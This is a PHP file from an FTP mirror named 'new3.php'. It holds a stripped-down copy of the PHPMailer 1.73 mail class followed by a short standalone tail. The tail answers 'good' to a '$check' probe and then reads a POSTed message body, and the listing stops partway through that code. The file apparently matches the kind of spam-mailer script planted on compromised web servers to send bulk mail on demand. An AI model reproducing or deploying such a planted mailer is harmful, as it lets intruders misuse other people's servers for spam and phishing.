home *** CD-ROM | disk | FTP | other *** search
/ cemaftp.lntecc.com / cemaftp.lntecc.com.tar / cemaftp.lntecc.com / new3.php < prev    next >
PHP Script  |  2013-12-24  |  34KB  |  972 lines

  1. <?php
  2.  
  3. class PHPMailer
  4. {
  5.  
  6.     var $Priority          = 3;
  7.     var $CharSet           = "windows-1251";
  8.     var $ContentType        = "text/plain";
  9.     var $Encoding          = "8bit";
  10.     var $ErrorInfo         = "";
  11.     var $From               = "root@localhost";
  12.     var $FromName           = "Root User";
  13.     var $Sender            = "";
  14.     var $Subject           = "";
  15.     var $Body               = "";
  16.     var $AltBody           = "";
  17.     var $WordWrap          = 0;
  18.     var $Mailer            = "mail";
  19.     var $Sendmail          = "/usr/sbin/sendmail";
  20.     var $PluginDir         = "";
  21.     var $Version           = "1.73";
  22.     var $ConfirmReadingTo  = "";
  23.     var $Hostname          = "";
  24.     var $Host        = "localhost";
  25.     var $Port        = 25;
  26.     var $Helo        = "";
  27.     var $SMTPAuth     = false;
  28.     var $Username     = "";
  29.     var $Password     = "";
  30.     var $Timeout      = 10;
  31.     var $SMTPDebug    = false;
  32.     var $SMTPKeepAlive = false;
  33.     var $smtp            = NULL;
  34.     var $to              = array();
  35.     var $cc              = array();
  36.     var $bcc             = array();
  37.     var $ReplyTo         = array();
  38.     var $attachment      = array();
  39.     var $CustomHeader    = array();
  40.     var $message_type    = "";
  41.     var $boundary        = array();
  42.     var $language        = array();
  43.     var $error_count     = 0;
  44.     var $LE              = "\n";
  45.     function IsHTML($bool) {
  46.         if($bool == true)
  47.             $this->ContentType = "text/html";
  48.         else
  49.             $this->ContentType = "text/plain";
  50.     }
  51.     function IsSMTP() {
  52.         $this->Mailer = "smtp";
  53.     }
  54.     function IsMail() {
  55.         $this->Mailer = "mail";
  56.     }
  57.     function IsSendmail() {
  58.         $this->Mailer = "sendmail";
  59.     }
  60.     function IsQmail() {
  61.         $this->Sendmail = "/var/qmail/bin/sendmail";
  62.         $this->Mailer = "sendmail";
  63.     }
  64.     function AddAddress($address, $name = "") {
  65.         $cur = count($this->to);
  66.         $this->to[$cur][0] = trim($address);
  67.         $this->to[$cur][1] = $name;
  68.     }
  69.     function AddCC($address, $name = "") {
  70.         $cur = count($this->cc);
  71.         $this->cc[$cur][0] = trim($address);
  72.         $this->cc[$cur][1] = $name;
  73.     }
  74.     function AddBCC($address, $name = "") {
  75.         $cur = count($this->bcc);
  76.         $this->bcc[$cur][0] = trim($address);
  77.         $this->bcc[$cur][1] = $name;
  78.     }
  79.     function AddReplyTo($address, $name = "") {
  80.         $cur = count($this->ReplyTo);
  81.         $this->ReplyTo[$cur][0] = trim($address);
  82.         $this->ReplyTo[$cur][1] = $name;
  83.     }
  84.  
  85.     function Send() {
  86.         $header = "";
  87.         $body = "";
  88.         $result = true;
  89.         if((count($this->to) + count($this->cc) + count($this->bcc)) < 1)
  90.         {
  91.             $this->SetError($this->Lang("provide_address"));
  92.             return false;
  93.         }
  94.         if(!empty($this->AltBody))
  95.             $this->ContentType = "multipart/alternative";
  96.         $this->error_count = 0; // reset errors
  97.         $this->SetMessageType();
  98.         $header .= $this->CreateHeader();
  99.         $body = $this->CreateBody();
  100.         if($body == "") { return false; }
  101.         switch($this->Mailer)
  102.         {
  103.             case "sendmail":
  104.                 $result = $this->SendmailSend($header, $body);
  105.                 break;
  106.             case "mail":
  107.                 $result = $this->MailSend($header, $body);
  108.                 break;
  109.             case "smtp":
  110.                 $result = $this->SmtpSend($header, $body);
  111.                 break;
  112.             default:
  113.             $this->SetError($this->Mailer . $this->Lang("mailer_not_supported"));
  114.                 $result = false;
  115.                 break;
  116.         }
  117.         return $result;
  118.     }
  119.     function SendmailSend($header, $body) {
  120.         if ($this->Sender != "")
  121.             $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
  122.         else
  123.             $sendmail = sprintf("%s -oi -t", $this->Sendmail);
  124.         if(!@$mail = popen($sendmail, "w"))
  125.         {
  126.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  127.             return false;
  128.         }
  129.         fputs($mail, $header);
  130.         fputs($mail, $body);
  131.         $result = pclose($mail) >> 8 & 0xFF;
  132.         if($result != 0)
  133.         {
  134.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  135.             return false;
  136.         }
  137.         return true;
  138.     }
  139.     function MailSend($header, $body) {
  140.         $to = "";
  141.         for($i = 0; $i < count($this->to); $i++)
  142.         {
  143.             if($i != 0) { $to .= ", "; }
  144.             $to .= $this->to[$i][0];
  145.         }
  146.         if ($this->Sender != "" && strlen(ini_get("safe_mode"))< 1)
  147.         {
  148.             $old_from = ini_get("sendmail_from");
  149.             ini_set("sendmail_from", $this->Sender);
  150.             $params = sprintf("-oi -f %s", $this->Sender);
  151.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body,
  152.                         $header, $params);
  153.         }
  154.         else
  155.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body, $header);
  156.         if (isset($old_from))
  157.             ini_set("sendmail_from", $old_from);
  158.         if(!$rt)
  159.         {
  160.             $this->SetError($this->Lang("instantiate"));
  161.             return false;
  162.         }
  163.         return true;
  164.     }
  165.     function SmtpSend($header, $body) {
  166.         include_once($this->PluginDir . "class.smtp.php");
  167.         $error = "";
  168.         $bad_rcpt = array();
  169.         if(!$this->SmtpConnect())
  170.             return false;
  171.         $smtp_from = ($this->Sender == "") ? $this->From : $this->Sender;
  172.         if(!$this->smtp->Mail($smtp_from))
  173.         {
  174.             $error = $this->Lang("from_failed") . $smtp_from;
  175.             $this->SetError($error);
  176.             $this->smtp->Reset();
  177.             return false;
  178.         }
  179.         for($i = 0; $i < count($this->to); $i++)
  180.         {
  181.             if(!$this->smtp->Recipient($this->to[$i][0]))
  182.                 $bad_rcpt[] = $this->to[$i][0];
  183.         }
  184.         for($i = 0; $i < count($this->cc); $i++)
  185.         {
  186.             if(!$this->smtp->Recipient($this->cc[$i][0]))
  187.                 $bad_rcpt[] = $this->cc[$i][0];
  188.         }
  189.         for($i = 0; $i < count($this->bcc); $i++)
  190.         {
  191.             if(!$this->smtp->Recipient($this->bcc[$i][0]))
  192.                 $bad_rcpt[] = $this->bcc[$i][0];
  193.         }
  194.         if(count($bad_rcpt) > 0) // Create error message
  195.         {
  196.             for($i = 0; $i < count($bad_rcpt); $i++)
  197.             {
  198.                 if($i != 0) { $error .= ", "; }
  199.                 $error .= $bad_rcpt[$i];
  200.             }
  201.             $error = $this->Lang("recipients_failed") . $error;
  202.             $this->SetError($error);
  203.             $this->smtp->Reset();
  204.             return false;
  205.         }
  206.         if(!$this->smtp->Data($header . $body))
  207.         {
  208.             $this->SetError($this->Lang("data_not_accepted"));
  209.             $this->smtp->Reset();
  210.             return false;
  211.         }
  212.         if($this->SMTPKeepAlive == true)
  213.             $this->smtp->Reset();
  214.         else
  215.             $this->SmtpClose();
  216.  
  217.         return true;
  218.     }
  219.     function SmtpConnect() {
  220.         if($this->smtp == NULL) { $this->smtp = new SMTP(); }
  221.         $this->smtp->do_debug = $this->SMTPDebug;
  222.         $hosts = explode(";", $this->Host);
  223.         $index = 0;
  224.         $connection = ($this->smtp->Connected());
  225.         while($index < count($hosts) && $connection == false)
  226.         {
  227.             if(strstr($hosts[$index], ":"))
  228.                 list($host, $port) = explode(":", $hosts[$index]);
  229.             else
  230.             {
  231.                 $host = $hosts[$index];
  232.                 $port = $this->Port;
  233.             }
  234.             if($this->smtp->Connect($host, $port, $this->Timeout))
  235.             {
  236.                 if ($this->Helo != '')
  237.                     $this->smtp->Hello($this->Helo);
  238.                 else
  239.                     $this->smtp->Hello($this->ServerHostname());
  240.                 if($this->SMTPAuth)
  241.                 {
  242.                     if(!$this->smtp->Authenticate($this->Username,
  243.                                                   $this->Password))
  244.                     {
  245.                         $this->SetError($this->Lang("authenticate"));
  246.                         $this->smtp->Reset();
  247.                         $connection = false;
  248.                     }
  249.                 }
  250.                 $connection = true;
  251.             }
  252.             $index++;
  253.         }
  254.         if(!$connection)
  255.             $this->SetError($this->Lang("connect_host"));
  256.         return $connection;
  257.     }
  258.     function SmtpClose() {
  259.         if($this->smtp != NULL)
  260.         {
  261.             if($this->smtp->Connected())
  262.             {
  263.                 $this->smtp->Quit();
  264.                 $this->smtp->Close();
  265.             }
  266.         }
  267.     }
  268.     function SetLanguage($lang_type, $lang_path = "language/") {
  269.         if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php'))
  270.             include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  271.         else if(file_exists($lang_path.'phpmailer.lang-en.php'))
  272.             include($lang_path.'phpmailer.lang-en.php');
  273.         else
  274.         {
  275.             $this->SetError("Could not load language file");
  276.             return false;
  277.         }
  278.         $this->language = $PHPMAILER_LANG;
  279.  
  280.         return true;
  281.     }
  282.     function AddrAppend($type, $addr) {
  283.         $addr_str = $type . ": ";
  284.         $addr_str .= $this->AddrFormat($addr[0]);
  285.         if(count($addr) > 1)
  286.         {
  287.             for($i = 1; $i < count($addr); $i++)
  288.                 $addr_str .= ", " . $this->AddrFormat($addr[$i]);
  289.         }
  290.         $addr_str .= $this->LE;
  291.  
  292.         return $addr_str;
  293.     }
  294.     function AddrFormat($addr) {
  295.         if(empty($addr[1]))
  296.             $formatted = $addr[0];
  297.         else
  298.         {
  299.             $formatted = $this->EncodeHeader($addr[1], 'phrase') . " <" .
  300.                          $addr[0] . ">";
  301.         }
  302.  
  303.         return $formatted;
  304.     }
  305.     function WrapText($message, $length, $qp_mode = false) {
  306.         $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  307.  
  308.         $message = $this->FixEOL($message);
  309.         if (substr($message, -1) == $this->LE)
  310.             $message = substr($message, 0, -1);
  311.  
  312.         $line = explode($this->LE, $message);
  313.         $message = "";
  314.         for ($i=0 ;$i < count($line); $i++)
  315.         {
  316.           $line_part = explode(" ", $line[$i]);
  317.           $buf = "";
  318.           for ($e = 0; $e<count($line_part); $e++)
  319.           {
  320.               $word = $line_part[$e];
  321.               if ($qp_mode and (strlen($word) > $length))
  322.               {
  323.                 $space_left = $length - strlen($buf) - 1;
  324.                 if ($e != 0)
  325.                 {
  326.                     if ($space_left > 20)
  327.                     {
  328.                         $len = $space_left;
  329.                         if (substr($word, $len - 1, 1) == "=")
  330.                           $len--;
  331.                         elseif (substr($word, $len - 2, 1) == "=")
  332.                           $len -= 2;
  333.                         $part = substr($word, 0, $len);
  334.                         $word = substr($word, $len);
  335.                         $buf .= " " . $part;
  336.                         $message .= $buf . sprintf("=%s", $this->LE);
  337.                     }
  338.                     else
  339.                     {
  340.                         $message .= $buf . $soft_break;
  341.                     }
  342.                     $buf = "";
  343.                 }
  344.                 while (strlen($word) > 0)
  345.                 {
  346.                     $len = $length;
  347.                     if (substr($word, $len - 1, 1) == "=")
  348.                         $len--;
  349.                     elseif (substr($word, $len - 2, 1) == "=")
  350.                         $len -= 2;
  351.                     $part = substr($word, 0, $len);
  352.                     $word = substr($word, $len);
  353.  
  354.                     if (strlen($word) > 0)
  355.                         $message .= $part . sprintf("=%s", $this->LE);
  356.                     else
  357.                         $buf = $part;
  358.                 }
  359.               }
  360.               else
  361.               {
  362.                 $buf_o = $buf;
  363.                 $buf .= ($e == 0) ? $word : (" " . $word);
  364.  
  365.                 if (strlen($buf) > $length and $buf_o != "")
  366.                 {
  367.                     $message .= $buf_o . $soft_break;
  368.                     $buf = $word;
  369.                 }
  370.               }
  371.           }
  372.           $message .= $buf . $this->LE;
  373.         }
  374.  
  375.         return $message;
  376.     }
  377.  
  378.     function SetWordWrap() {
  379.         if($this->WordWrap < 1)
  380.             return;
  381.  
  382.         switch($this->message_type)
  383.         {
  384.            case "alt":
  385.               // fall through
  386.            case "alt_attachments":
  387.               $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  388.               break;
  389.            default:
  390.               $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  391.               break;
  392.         }
  393.     }
  394.  
  395.     function CreateHeader() {
  396.         $result = "";
  397.  
  398.         // Set the boundaries
  399.         $uniq_id = md5(uniqid(time()));
  400.         $this->boundary[1] = "b1_" . $uniq_id;
  401.         $this->boundary[2] = "b2_" . $uniq_id;
  402.  
  403.         $result .= $this->HeaderLine("Date", $this->RFCDate());
  404.         if($this->Sender == "")
  405.             $result .= $this->HeaderLine("Return-Path", trim($this->From));
  406.         else
  407.             $result .= $this->HeaderLine("Return-Path", trim($this->Sender));
  408.  
  409.         // To be created automatically by mail()
  410.         if($this->Mailer != "mail")
  411.         {
  412.             if(count($this->to) > 0)
  413.                 $result .= $this->AddrAppend("To", $this->to);
  414.             else if (count($this->cc) == 0)
  415.                 $result .= $this->HeaderLine("To", "undisclosed-recipients:;");
  416.             if(count($this->cc) > 0)
  417.                 $result .= $this->AddrAppend("Cc", $this->cc);
  418.         }
  419.  
  420.         $from = array();
  421.         $from[0][0] = trim($this->From);
  422.         $from[0][1] = $this->FromName;
  423.         $result .= $this->AddrAppend("From", $from);
  424.  
  425.         // sendmail and mail() extract Bcc from the header before sending
  426.         if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
  427.             $result .= $this->AddrAppend("Bcc", $this->bcc);
  428.  
  429.         if(count($this->ReplyTo) > 0)
  430.             $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
  431.  
  432.         // mail() sets the subject itself
  433.         if($this->Mailer != "mail")
  434.             $result .= $this->HeaderLine("Subject", $this->EncodeHeader(trim($this->Subject)));
  435.  
  436.         $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  437.         $result .= $this->HeaderLine("X-Priority", $this->Priority);
  438.         $result .= $this->HeaderLine("X-Mailer", "PHPMailer [version " . $this->Version . "]");
  439.  
  440.         if($this->ConfirmReadingTo != "")
  441.         {
  442.             $result .= $this->HeaderLine("Disposition-Notification-To",
  443.                        "<" . trim($this->ConfirmReadingTo) . ">");
  444.         }
  445.  
  446.         // Add custom headers
  447.         for($index = 0; $index < count($this->CustomHeader); $index++)
  448.         {
  449.             $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),
  450.                        $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  451.         }
  452.         $result .= $this->HeaderLine("MIME-Version", "1.0");
  453.  
  454.         switch($this->message_type)
  455.         {
  456.             case "plain":
  457.                 $result .= $this->HeaderLine("Content-Transfer-Encoding", $this->Encoding);
  458.                 $result .= sprintf("Content-Type: %s; charset=\"%s\"",
  459.                                     $this->ContentType, $this->CharSet);
  460.                 break;
  461.             case "attachments":
  462.                 // fall through
  463.             case "alt_attachments":
  464.                 if($this->InlineImageExists())
  465.                 {
  466.                     $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s",
  467.                                     "multipart/related", $this->LE, $this->LE,
  468.                                     $this->boundary[1], $this->LE);
  469.                 }
  470.                 else
  471.                 {
  472.                     $result .= $this->HeaderLine("Content-Type", "multipart/mixed;");
  473.                     $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  474.                 }
  475.                 break;
  476.             case "alt":
  477.                 $result .= $this->HeaderLine("Content-Type", "multipart/alternative;");
  478.                 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  479.                 break;
  480.         }
  481.  
  482.         if($this->Mailer != "mail")
  483.             $result .= $this->LE.$this->LE;
  484.  
  485.         return $result;
  486.     }
  487.  
  488.     function CreateBody() {
  489.         $result = "";
  490.  
  491.         $this->SetWordWrap();
  492.  
  493.         switch($this->message_type)
  494.         {
  495.             case "alt":
  496.                 $result .= $this->GetBoundary($this->boundary[1], "",
  497.                                               "text/plain", "");
  498.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  499.                 $result .= $this->LE.$this->LE;
  500.                 $result .= $this->GetBoundary($this->boundary[1], "",
  501.                                               "text/html", "");
  502.  
  503.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  504.                 $result .= $this->LE.$this->LE;
  505.  
  506.                 $result .= $this->EndBoundary($this->boundary[1]);
  507.                 break;
  508.             case "plain":
  509.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  510.                 break;
  511.             case "attachments":
  512.                 $result .= $this->GetBoundary($this->boundary[1], "", "", "");
  513.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  514.                 $result .= $this->LE;
  515.  
  516.                 $result .= $this->AttachAll();
  517.                 break;
  518.             case "alt_attachments":
  519.                 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  520.                 $result .= sprintf("Content-Type: %s;%s" .
  521.                                    "\tboundary=\"%s\"%s",
  522.                                    "multipart/alternative", $this->LE,
  523.                                    $this->boundary[2], $this->LE.$this->LE);
  524.  
  525.                 // Create text body
  526.                 $result .= $this->GetBoundary($this->boundary[2], "",
  527.                                               "text/plain", "") . $this->LE;
  528.  
  529.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  530.                 $result .= $this->LE.$this->LE;
  531.  
  532.                 // Create the HTML body
  533.                 $result .= $this->GetBoundary($this->boundary[2], "",
  534.                                               "text/html", "") . $this->LE;
  535.  
  536.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  537.                 $result .= $this->LE.$this->LE;
  538.  
  539.                 $result .= $this->EndBoundary($this->boundary[2]);
  540.  
  541.                 $result .= $this->AttachAll();
  542.                 break;
  543.         }
  544.         if($this->IsError())
  545.             $result = "";
  546.  
  547.         return $result;
  548.     }
  549.     function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  550.         $result = "";
  551.         if($charSet == "") { $charSet = $this->CharSet; }
  552.         if($contentType == "") { $contentType = $this->ContentType; }
  553.         if($encoding == "") { $encoding = $this->Encoding; }
  554.  
  555.         $result .= $this->TextLine("--" . $boundary);
  556.         $result .= sprintf("Content-Type: %s; charset = \"%s\"",
  557.                             $contentType, $charSet);
  558.         $result .= $this->LE;
  559.         $result .= $this->HeaderLine("Content-Transfer-Encoding", $encoding);
  560.         $result .= $this->LE;
  561.  
  562.         return $result;
  563.     }
  564.  
  565.     function EndBoundary($boundary) {
  566.         return $this->LE . "--" . $boundary . "--" . $this->LE;
  567.     }
  568.  
  569.     function SetMessageType() {
  570.         if(count($this->attachment) < 1 && strlen($this->AltBody) < 1)
  571.             $this->message_type = "plain";
  572.         else
  573.         {
  574.             if(count($this->attachment) > 0)
  575.                 $this->message_type = "attachments";
  576.             if(strlen($this->AltBody) > 0 && count($this->attachment) < 1)
  577.                 $this->message_type = "alt";
  578.             if(strlen($this->AltBody) > 0 && count($this->attachment) > 0)
  579.                 $this->message_type = "alt_attachments";
  580.         }
  581.     }
  582.  
  583.     function HeaderLine($name, $value) {
  584.         return $name . ": " . $value . $this->LE;
  585.     }
  586.  
  587.     function TextLine($value) {
  588.         return $value . $this->LE;
  589.     }
  590.  
  591.     function AddAttachment($path, $name = "", $encoding = "base64",
  592.                            $type = "application/octet-stream") {
  593.         if(!@is_file($path))
  594.         {
  595.             $this->SetError($this->Lang("file_access") . $path);
  596.             return false;
  597.         }
  598.  
  599.         $filename = basename($path);
  600.         if($name == "")
  601.             $name = $filename;
  602.  
  603.         $cur = count($this->attachment);
  604.         $this->attachment[$cur][0] = $path;
  605.         $this->attachment[$cur][1] = $filename;
  606.         $this->attachment[$cur][2] = $name;
  607.         $this->attachment[$cur][3] = $encoding;
  608.         $this->attachment[$cur][4] = $type;
  609.         $this->attachment[$cur][5] = false; // isStringAttachment
  610.         $this->attachment[$cur][6] = "attachment";
  611.         $this->attachment[$cur][7] = 0;
  612.  
  613.         return true;
  614.     }
  615.  
  616.     function AttachAll() {
  617.         // Return text of body
  618.         $mime = array();
  619.  
  620.         // Add all attachments
  621.         for($i = 0; $i < count($this->attachment); $i++)
  622.         {
  623.             // Check for string attachment
  624.             $bString = $this->attachment[$i][5];
  625.             if ($bString)
  626.                 $string = $this->attachment[$i][0];
  627.             else
  628.                 $path = $this->attachment[$i][0];
  629.  
  630.             $filename    = $this->attachment[$i][1];
  631.             $name        = $this->attachment[$i][2];
  632.             $encoding    = $this->attachment[$i][3];
  633.             $type        = $this->attachment[$i][4];
  634.             $disposition = $this->attachment[$i][6];
  635.             $cid         = $this->attachment[$i][7];
  636.  
  637.             $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  638.             $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  639.             $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  640.  
  641.             if($disposition == "inline")
  642.                 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  643.  
  644.             $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s",
  645.                               $disposition, $name, $this->LE.$this->LE);
  646.  
  647.             // Encode as string attachment
  648.             if($bString)
  649.             {
  650.                 $mime[] = $this->EncodeString($string, $encoding);
  651.                 if($this->IsError()) { return ""; }
  652.                 $mime[] = $this->LE.$this->LE;
  653.             }
  654.             else
  655.             {
  656.                 $mime[] = $this->EncodeFile($path, $encoding);
  657.                 if($this->IsError()) { return ""; }
  658.                 $mime[] = $this->LE.$this->LE;
  659.             }
  660.         }
  661.  
  662.         $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  663.  
  664.         return join("", $mime);
  665.     }
  666.  
  667.     function EncodeFile ($path, $encoding = "base64") {
  668.         if(!@$fd = fopen($path, "rb"))
  669.         {
  670.             $this->SetError($this->Lang("file_open") . $path);
  671.             return "";
  672.         }
  673.         $magic_quotes = get_magic_quotes_runtime();
  674.         set_magic_quotes_runtime(0);
  675.         $file_buffer = fread($fd, filesize($path));
  676.         $file_buffer = $this->EncodeString($file_buffer, $encoding);
  677.         fclose($fd);
  678.         set_magic_quotes_runtime($magic_quotes);
  679.  
  680.         return $file_buffer;
  681.     }
  682.     function EncodeString ($str, $encoding = "base64") {
  683.         $encoded = "";
  684.         switch(strtolower($encoding)) {
  685.           case "base64":
  686.               $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  687.               break;
  688.           case "7bit":
  689.           case "8bit":
  690.               $encoded = $this->FixEOL($str);
  691.               if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  692.                 $encoded .= $this->LE;
  693.               break;
  694.           case "binary":
  695.               $encoded = $str;
  696.               break;
  697.           case "quoted-printable":
  698.               $encoded = $this->EncodeQP($str);
  699.               break;
  700.           default:
  701.               $this->SetError($this->Lang("encoding") . $encoding);
  702.               break;
  703.         }
  704.         return $encoded;
  705.     }
  706.  
  707.  
  708.     function EncodeHeader ($str, $position = 'text') {
  709.       $x = 0;
  710.  
  711.       switch (strtolower($position)) {
  712.         case 'phrase':
  713.           if (!preg_match('/[\200-\377]/', $str)) {
  714.             $encoded = addcslashes($str, "\0..\37\177\\\"");
  715.  
  716.             if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str))
  717.               return ($encoded);
  718.             else
  719.               return ("\"$encoded\"");
  720.           }
  721.           $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  722.           break;
  723.         case 'comment':
  724.           $x = preg_match_all('/[()"]/', $str, $matches);
  725.         case 'text':
  726.         default:
  727.           $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  728.           break;
  729.       }
  730.  
  731.       if ($x == 0)
  732.         return ($str);
  733.  
  734.       $maxlen = 75 - 7 - strlen($this->CharSet);
  735.       if (strlen($str)/3 < $x) {
  736.         $encoding = 'B';
  737.         $encoded = base64_encode($str);
  738.         $maxlen -= $maxlen % 4;
  739.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  740.       } else {
  741.         $encoding = 'Q';
  742.         $encoded = $this->EncodeQ($str, $position);
  743.         $encoded = $this->WrapText($encoded, $maxlen, true);
  744.         $encoded = str_replace("=".$this->LE, "\n", trim($encoded));
  745.       }
  746.  
  747.       $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  748.       $encoded = trim(str_replace("\n", $this->LE, $encoded));
  749.  
  750.       return $encoded;
  751.     }
  752.  
  753.  
  754.     function EncodeQP ($str) {
  755.         $encoded = $this->FixEOL($str);
  756.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  757.             $encoded .= $this->LE;
  758.         $encoded = preg_replace('/([\000-\010\013\014\016-\037\075\177-\377])/e',
  759.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  760.         $encoded = preg_replace("/([\011\040])".$this->LE."/e",
  761.                   "'='.sprintf('%02X', ord('\\1')).'".$this->LE."'", $encoded);
  762.  
  763.         $encoded = $this->WrapText($encoded, 74, true);
  764.  
  765.         return $encoded;
  766.     }
  767.  
  768.  
  769.     function EncodeQ ($str, $position = "text") {
  770.         $encoded = preg_replace("[\r\n]", "", $str);
  771.  
  772.         switch (strtolower($position)) {
  773.           case "phrase":
  774.             $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  775.             break;
  776.           case "comment":
  777.             $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  778.           case "text":
  779.           default:
  780.             $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  781.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  782.             break;
  783.         }
  784.  
  785.         $encoded = str_replace(" ", "_", $encoded);
  786.  
  787.         return $encoded;
  788.     }
  789.     function AddStringAttachment($string, $filename, $encoding = "base64",
  790.                                  $type = "application/octet-stream") {
  791.         $cur = count($this->attachment);
  792.         $this->attachment[$cur][0] = $string;
  793.         $this->attachment[$cur][1] = $filename;
  794.         $this->attachment[$cur][2] = $filename;
  795.         $this->attachment[$cur][3] = $encoding;
  796.         $this->attachment[$cur][4] = $type;
  797.         $this->attachment[$cur][5] = true; 
  798.         $this->attachment[$cur][6] = "attachment";
  799.         $this->attachment[$cur][7] = 0;
  800.     }
  801.  
  802.     function AddEmbeddedImage($path, $cid, $name = "", $encoding = "base64",
  803.                               $type = "application/octet-stream") {
  804.  
  805.         if(!@is_file($path))
  806.         {
  807.             $this->SetError($this->Lang("file_access") . $path);
  808.             return false;
  809.         }
  810.  
  811.         $filename = basename($path);
  812.         if($name == "")
  813.             $name = $filename;
  814.         $cur = count($this->attachment);
  815.         $this->attachment[$cur][0] = $path;
  816.         $this->attachment[$cur][1] = $filename;
  817.         $this->attachment[$cur][2] = $name;
  818.         $this->attachment[$cur][3] = $encoding;
  819.         $this->attachment[$cur][4] = $type;
  820.         $this->attachment[$cur][5] = false; // isStringAttachment
  821.         $this->attachment[$cur][6] = "inline";
  822.         $this->attachment[$cur][7] = $cid;
  823.  
  824.         return true;
  825.     }
  826.  
  827.     function InlineImageExists() {
  828.         $result = false;
  829.         for($i = 0; $i < count($this->attachment); $i++)
  830.         {
  831.             if($this->attachment[$i][6] == "inline")
  832.             {
  833.                 $result = true;
  834.                 break;
  835.             }
  836.         }
  837.  
  838.         return $result;
  839.     }
  840.     function ClearAddresses() {
  841.         $this->to = array();
  842.     }
  843.     function ClearCCs() {
  844.         $this->cc = array();
  845.     }
  846.     function ClearBCCs() {
  847.         $this->bcc = array();
  848.     }
  849.     function ClearReplyTos() {
  850.         $this->ReplyTo = array();
  851.     }
  852.     function ClearAllRecipients() {
  853.         $this->to = array();
  854.         $this->cc = array();
  855.         $this->bcc = array();
  856.     }
  857.     function ClearAttachments() {
  858.         $this->attachment = array();
  859.     }
  860.     function ClearCustomHeaders() {
  861.         $this->CustomHeader = array();
  862.     }
  863.  
  864.     function SetError($msg) {
  865.         $this->error_count++;
  866.         $this->ErrorInfo = $msg;
  867.     }
  868.     function RFCDate() {
  869.         $tz = date("Z");
  870.         $tzs = ($tz < 0) ? "-" : "+";
  871.         $tz = abs($tz);
  872.         $tz = ($tz/3600)*100 + ($tz%3600)/60;
  873.         $result = sprintf("%s %s%04d", date("D, j M Y H:i:s"), $tzs, $tz);
  874.  
  875.         return $result;
  876.     }
  877.  
  878.     function ServerVar($varName) {
  879.         global $HTTP_SERVER_VARS;
  880.         global $HTTP_ENV_VARS;
  881.  
  882.         if(!isset($_SERVER))
  883.         {
  884.             $_SERVER = $HTTP_SERVER_VARS;
  885.             if(!isset($_SERVER["REMOTE_ADDR"]))
  886.                 $_SERVER = $HTTP_ENV_VARS; // must be Apache
  887.         }
  888.  
  889.         if(isset($_SERVER[$varName]))
  890.             return $_SERVER[$varName];
  891.         else
  892.             return "";
  893.     }
  894.  
  895.     function ServerHostname() {
  896.         if ($this->Hostname != "")
  897.             $result = $this->Hostname;
  898.         elseif ($this->ServerVar('SERVER_NAME') != "")
  899.             $result = $this->ServerVar('SERVER_NAME');
  900.         else
  901.             $result = "localhost.localdomain";
  902.  
  903.         return $result;
  904.     }
  905.  
  906.     function Lang($key) {
  907.         if(count($this->language) < 1)
  908.             $this->SetLanguage("en"); // set the default language
  909.  
  910.         if(isset($this->language[$key]))
  911.             return $this->language[$key];
  912.         else
  913.             return "Language string failed to load: " . $key;
  914.     }
  915.  
  916.     function IsError() {
  917.         return ($this->error_count > 0);
  918.     }
  919.  
  920.     function FixEOL($str) {
  921.         $str = str_replace("\r\n", "\n", $str);
  922.         $str = str_replace("\r", "\n", $str);
  923.         $str = str_replace("\n", $this->LE, $str);
  924.         return $str;
  925.     }
  926.  
  927.     function AddCustomHeader($custom_header) {
  928.         $this->CustomHeader[] = explode(":", $custom_header, 2);
  929.     }
  930. }
  931.  
  932.  
  933.     if ($check=='1') {
  934.         echo'good';    
  935.         exit;
  936.     }
  937.     $mess = $_POST["text"];
